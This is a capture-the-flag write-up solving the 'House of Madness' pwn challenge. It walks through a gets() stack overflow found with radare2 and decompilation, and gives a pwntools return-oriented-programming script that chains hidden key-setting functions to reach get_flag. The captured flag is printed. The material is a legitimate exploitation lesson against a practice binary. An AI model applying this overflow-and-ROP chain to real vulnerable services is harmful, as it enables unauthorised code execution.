Intro
This is the third pwn challenge. It was solved 100 times and it was worth 897 points.
Description:
Welcome to the House of Madness. Can you pwn your way to the keys to get the relic?
nc challenges.auctf.com 30012
Note: ASLR is disabled for this challenge
You could download the binary here.
$ sha256sum ./house_of_madness
15b1a68ae0e1d4eee4f917cc92412d90fd3a4adbb5a55a83b115e0f438baaf93 house_of_madness
Exploitation
When we launch the program shows a banner and it asks us to make a choice. I tried at this point, without success, a classic buffer overflow.
However if we try to exit the program shows us the direction. Indeed there is a buffer overflow:
$ ./house_of_madness
+------------------------+
| Welcome |
| to |
| the House of |
| Madness |
+------------------------+
Can you pwn the house?
1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 4
Wait a minute. This doesn't quit the program... Weird. Hey try entering 'Stephen' in Room 4. I heard the room's magic
1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 2
Choose a room to enter: 4
1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 3
Wow this room is special. It echoes back what you say!
Press Q to exit: Stephen
You entered 'Stephen'
Welcome to the hidden room! Good Luck
Enter something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
So I analyzed the program with checksec and I opened it with radare2:
$ checksec house_of_madness
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ r2 -Ad ./house_of_madness
Then I found these interesting functions:
[r2]> afl
.....
0x56556580 8 261 sym.room4
0x5655686b 16 360 sym.get_flag
.....
The room4
function use gets
if Stephen
was given as first input. However if we try to call directly get_flag
, exploiting the buffer overflow, we got:
$ ./exploit.py
It's not going to be that easy. Come on
So I decompiled the get_flag
function and it prints the flag iff four keys have the correct values:
void get_flag(void)
{
int iVar1;
char local_60 [64];
FILE *local_20;
local_20 = fopen("flag.txt","r");
if (local_20 == (FILE *)0x0) {
puts("\'flag.txt\' missing in the current directory!");
exit(0);
}
if ((((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) &&
((key4._4_4_ ^ 0x537472 | (uint)key4 ^ 0x616e6765) == 0)) {
fgets(local_60,0x40,local_20);
printf("Damn you beat the house: %s\n",local_60);
return;
}
if (((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
printf("Surrender, Stephen. Surrender to the reverser");
return;
}
if ((key1 == '\0') || (key2 == '\0')) {
printf("It\'s not going to be that easy. Come on");
}
else {
puts("You think you are ready? You are ready when the relic decides you are ready.");
}
return;
}
So, to print the flag:
key1
should be different than 0key2
should be different than 0key3
should point to “Dormammu”key4[0]
should be 0x616e6765key4[1]
should be 0x537472
Fortunately I rapidly found three useful functions:
get_key1
@0x565566de
get_key2
@0x5655676e
set_key4
@0x565567e9
get_key1
Iff the first function argument is 0xfeedc0de
it writes 1 in key1
. We can use it.
get_key2
It’s a bit more complex than get_key1
. Indeed it writes 1 in key2
, but it should be called before get_key1
and after that key3
points to “Dormammu”.
Given these prerequisites we can use it.
Here the function:
void get_key2(void)
{
int iVar1;
if ((key1 != '\x01') && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
key2 = 1;
return;
}
puts("Need to get the right keys. Reverse the house harder");
return;
}
set_key4
It checks all other keys, then it writes the correct values in key4
.
As get_key2
if key3
points to “Dormammu” we can use it:
void set_key4(void)
{
int iVar1;
if ((((isInRoom != '\x01') && (key1 != '\0')) && (key2 != '\0')) &&
(iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
key4._0_4_ = 0x616e6765;
key4._4_4_ = 0x537472;
return;
}
puts("Need to get the right keys. Reverse the house harder");
return;
}
key3
We need a way to write the correct pointer in key3
.
It’s the last piece of the puzzle. After some digging I found this function.
I analyzed its behavior and it writes in key3
a pointer to “Dormammu”:
[r2]> afl
.....
0x565567cd 1 28 sym.AAsDrwEk
.....
[r2]> pdf @sym.AAsDrwEk
┌ 28: sym.AAsDrwEk ();
│ 0x565567cd 55 push ebp
│ 0x565567ce 89e5 mov ebp, esp
│ 0x565567d0 e848020000 call sym.__x86.get_pc_thunk.ax
│ 0x565567d5 052b280000 add eax, 0x282b
│ 0x565567da 8d9015e4ffff lea edx, [eax - 0x1beb]
│ 0x565567e0 899040000000 mov dword [eax + 0x40], edx
│ 0x565567e6 90 nop
│ 0x565567e7 5d pop ebp
└ 0x565567e8 c3 ret
[r2]> ps @0x565567d5 + 0x282b - 0x1beb
Dormammu
[r2]> is~`?v 0x565567d5 + 0x282b + 0x40`
96 0x00003040 0x56559040 GLOBAL OBJ 4 key3
Exploit
So we have all the pieces in place.
This is my exploit:
#!/usr/bin/python2
from pwn import *
prog = context.binary = ELF(os.getcwd() + "/challenge", checksec=False)
if len(sys.argv) > 1:
host = "challenges.auctf.com"
port = 30012
t = remote(host, port)
else:
t = prog.process()
def init():
t.recvuntil("Your choice: ")
t.sendline("2")
t.recvuntil("Choose a room to enter: ")
t.sendline("4")
t.recvuntil("Your choice: ")
t.sendline("3")
t.recvuntil("Press Q to exit: ")
t.sendline("Stephen")
t.recvuntil("Enter something: ")
init()
base = 0x56555000
pebx = 0x56556aaa
offset = 28
payload = "P"*offset
payload += pack(prog.symbols["AAsDrwEk"] + base)
payload += pack(prog.symbols["get_key2"] + base)
payload += pack(prog.symbols["get_key1"] + base)
payload += pack(pebx)
payload += pack(0xfeedc0de)
payload += pack(prog.symbols["set_key4"] + base)
payload += pack(prog.symbols["get_flag"] + base)
t.sendline(payload)
t.interactive()
t.close()
And this is the flag:
$ ./exploit.py
.....
Damn you beat the house: auctf{gu3ss_th3_h0us3_1sn't_th4t_m4d}
.....